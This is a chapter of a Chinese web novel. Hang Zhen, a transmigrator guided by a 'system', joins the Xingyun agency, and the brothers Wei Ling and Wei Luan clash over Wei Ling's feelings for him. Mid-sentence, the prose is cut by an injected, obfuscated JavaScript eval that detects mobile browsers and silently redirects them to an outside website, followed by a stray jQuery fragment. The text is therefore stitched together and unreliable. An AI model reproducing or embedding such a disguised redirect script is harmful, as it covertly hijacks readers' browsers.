和蔚栾见过面后,杭真的情绪一直很低落。
蔚翎看不下去,不停地宽慰杭真。
“我哥就是那个样子,他对我说话更难……更不好听,你不要往心里去。”
杭真蔫了吧唧地站着,微微抬头看向蔚翎。
“我觉得蔚总说得没错,如果没有你,星运不会考虑跟我签约,在见到他之前我已经有了这样的觉悟。”
“那是他们没眼光,多亏有我,他们才没能错过你。”
“真天真啊,我都有点儿不忍心了。”
杭真跟系统说话,系统“哦”“哦”地敷衍他。
“如果你的任务一直不能完成,还要留在这了很长时间的话,他很快就会认清你的。”
系统比蔚翎更清楚杭真的咸鱼态度。
杭真对这份工作本质上没有热情,态度上没有冲劲儿。
还不如看起来工作能力一般的陆鲤呢。
“瞎说。”什么大实话。
杭真默了默,皱了皱鼻子。
“是不是因为我太废了?所以蔚总才那么讨厌我?”
“才不是,他在这个世界上就没有喜欢的人。”
杭真一脸天真地发问:“可你不是说他要订婚了吗?至少他很喜欢他的未婚妻吧?”
蔚翎的表情……看起来这个问题没有听上去那么简单。
杭真一副了然的样子。
“我明白了。”
他理智分析:“一般蔚总这样身份的人物,感情都由不得自己。”他小声问蔚翎:“不会是商业联姻吧?”
蔚翎支支吾吾的:“唔,差不多吧。”
有古怪。
不过杭真有信心很快就能弄明白。
杭真在离开之前,把准备好的礼物送给蔚翎。
“差点儿忘了。”
蔚翎冷哼一声:“我还以为你根本就没有准备。”
他顿了顿,又想到什么。
“其实就算你不送我礼物,人来就已经很好了。”
杭真无奈:“如果你没说之前的那句话,直接说这句我可能会信。”
蔚翎拿着盒子兴致勃勃。
“是什么啊?我可以现在拆吗?”
“当然,这是你的自由。”
杭真道:“不过我先说好,不是什么名贵的东西,时间紧急,我也不知道要送你什么好,随便挑的。”
是一块名表。
对于普通人来说,算名贵,但对蔚翎来说当然不算什么。
相对秀气的表盘,点缀了一圈碎钻。
杭真不知道蔚翎会不会喜欢,但他自己挺喜欢那种简约的款式,可谓是按自己的喜好给别人挑礼物,很不上心了。
不过他让在表带内侧刻上了“W.L”代表是送给蔚翎的礼物。
“谢谢你。”
蔚翎看起来很喜欢,拿出来后,端详了半天。
他突然把手碗伸到杭真面前:“帮我戴上吧。”
杭真:“……”
他的表情有那么三秒变得奇怪,但很快掩饰好了,没有反驳蔚翎的意思,帮他把表戴上。
“很适合你。”
杭真随口一说,看到蔚翎的眼神似乎不太对。
会不会有点儿过于含情脉脉了?
那么喜欢这份礼物吗?平时也没见他经常戴表啊……
杭真跟蔚翎道别,说要离开了。
又问:“不过我可以等到你切蛋糕。”
蔚翎没有挽留他,笑着说没有那样的环节。
生日聚会连切蛋糕的环节都没有。杭真心想,果然今晚的主角不是寿星。
蔚翎说他会让司机送杭真回去。
杭真原本不想答应,但找到了喝得晕晕乎乎在角落休息的陆鲤,觉得这个提议不错,跟蔚翎说了谢谢。
送走杭真后,蔚翎看着一楼那些还在觥筹交错的男男女女,顿时觉得有些意兴阑珊。
他回到了蔚栾的套房,门都没敲,直接进去。
蔚栾正在看放在他面前的电脑,不知道在做什么。
“怎么了?把你朋友送走了?”
蔚翎坐在沙发上没回答,动了动脖子,意料之中发出了嘎巴声。
“就算送走了他,楼下还有那么多人呢,那其中大部分你都认识,寿星窝在这里算怎么回事?”
“都是你请来的人,我只请了他一个。”
蔚翎轻轻抚摸着自己手腕上的东西,指尖冰凉的触感让他瞬间心情愉悦起来。
他勾了下唇,道:“我就只负责他一个。”
蔚栾看到了他手上多出来的那块表,明白过来了,冷笑一声。
“你不会现在喜欢上男人了吧?拒绝秦家的时候,你可明确否认过的。”
蔚翎猛地抬眼,有些心虚。
“那时候我没说谎,我确实不喜欢秦月。再说不是你自己说的么,换做是你,哪怕你不喜欢她,甚至厌恶她,也不耽误你跟她结婚。”
蔚栾似笑非笑地看了他一会儿:“是,我也没说谎,现在也是这么想的。”
他默了默,问蔚翎:“但你现在还是那样想的吗?”
蔚翎的紧张加心虚溢于言表,有些话已经不用说的那么明白了。
但蔚翎面对蔚栾几乎没有隐瞒过什么。
“是,我是喜欢上他了,这没什么吧?秦月那边不是有你吗?”
蔚栾表情微沉,似乎没想到他会直接承认,以为他还会狡辩一阵子。
诚然,有些事很多时候不用说明就已经知道答案了,但承认和不承认的区别还是很大的。
有些东西只要坚持不承认,不搬到台面上来,想要抹除当没发生过,并不是一件多么复杂的事情。
蔚翎也明白这个道理。
眼下他对那个人显然是认真的。
“真是付不起的阿斗,当时只当你是年龄小,所以才由着你胡闹,你以为这个世界上需要处理的秦月只有一个?”
蔚翎握紧了自己的手腕,死死盯着蔚栾的眼睛。
“我不会跟自己不喜欢的人在一起。”
“是吗?”
蔚栾微微后仰,左右摆动活动了一下脖子。
跟蔚翎先前的动作非常像。
“你说你喜欢他,那他喜欢你吗?”
蔚翎很清楚蔚栾是个什么样的人,此时此刻他才意识到或许不应该这么早跟蔚栾说实话。
就应该含糊应付过去,哪怕已经被他看穿,以蔚栾的自负,他也只会以为蔚翎是在闹着玩。
过一段
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13538624|142500||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
时间感情就淡了。
可也就是因为清楚他会这样想,才一时情急没了分寸……
蔚翎想,有些事情是注定的。
“你想怎么样?”
“你喜欢的人,你都没本事让他喜欢上你,还在这里跟我大言不惭地谈感情至上。”
蔚栾沉声道:“蔚翎,你真可悲。”
-
很快,跟星运的合同确定下来。
签约那天,杭真和陆鲤一起去了星运公司总部。
除了最开始走的内部推荐渠道,其他流程跟别的艺人一样。
到了星运,陆鲤就没有资格继续当杭真的经纪人了。
杭真的新经纪人是阿黎,一位看起来二十多实际上三十五岁未婚未育的大美女。
不过陆鲤还是跟着杭真,当他的私人助理。
阿黎给陆鲤培训了一些内容,并且鼓励他好好干。
告诉他助理也是可以晋升成经纪人的,全看个人能力。
杭真跟系统聊天的时候说起过,如果需要看个人能力晋升,陆鲤最起码五年内都只能当助理了。
他显然比杭真还不适应星运的工作模式。
杭真做艺人还好一些,只是工作量陡然增加,不过陆鲤就不一样了。
他需要从散漫无状立刻进入到程序化的工作之中,还得让自己尽快习惯。
杭真对陆鲤没什么硬性要求,不过阿黎对陆鲤的要求很高。
当然是对陆鲤个人来说。
让杭真跳脱出去看,陆鲤比其他助理确实缺乏了很多东西。
陆鲤显然也意识到了,最初一段时间就像刚入职的大学生一样无措。
渐渐地,他找到了一些门道,在得到了一次次肯定之后,他对自己的工作重新扬起了热情。
不过一心扑在工作上的下场就是……很快被分手了。
杭真没想幸灾乐祸。
不过从自己的任务出发,那么即便陆鲤有百分之一的可能是男主……
陆鲤没了女朋友,自己也算成功了一半吧。
当然,现在更有希望的人选还是蔚栾。
可蔚翎的那一整场生日聚会蔚栾连脸都没露,星运公司内部知道蔚栾的人也并不多……
之前杭真还以为进了星运能多多接触到蔚栾,进去了才发现是自己想多了。
正在杭真苦恼该怎么制造机会跟蔚栾见面的时候,蔚栾自己找上了他。
蔚栾让阿黎给了杭真一个地址,还有时间,让他打扮正式些出席。
杭真听到阿黎的转述,再看到连阿黎都露出了疑惑不解,还有一言难尽的表情,就知道蔚栾是第一次私联艺人做这种事。
不会吧?不会吧?
杭真跟系统吐槽:“他不会是觉得我这段时间没有给公司赚钱,所以想私下把我送给别人吧?”
系统无所谓:“你有外挂,怕什么?”
杭真想,也是,如果自己意识不清,还有系统呢。
而且自己正愁不知道怎么接近蔚栾,这明明就是个天赐的好机会。
他觉得,为了防止任务一直没有有效进度,或许这个世界的运行机制会在绝境时自动帮攻略者制造机会。还挺人性化的。
杭真有信心,蔚栾就是男主。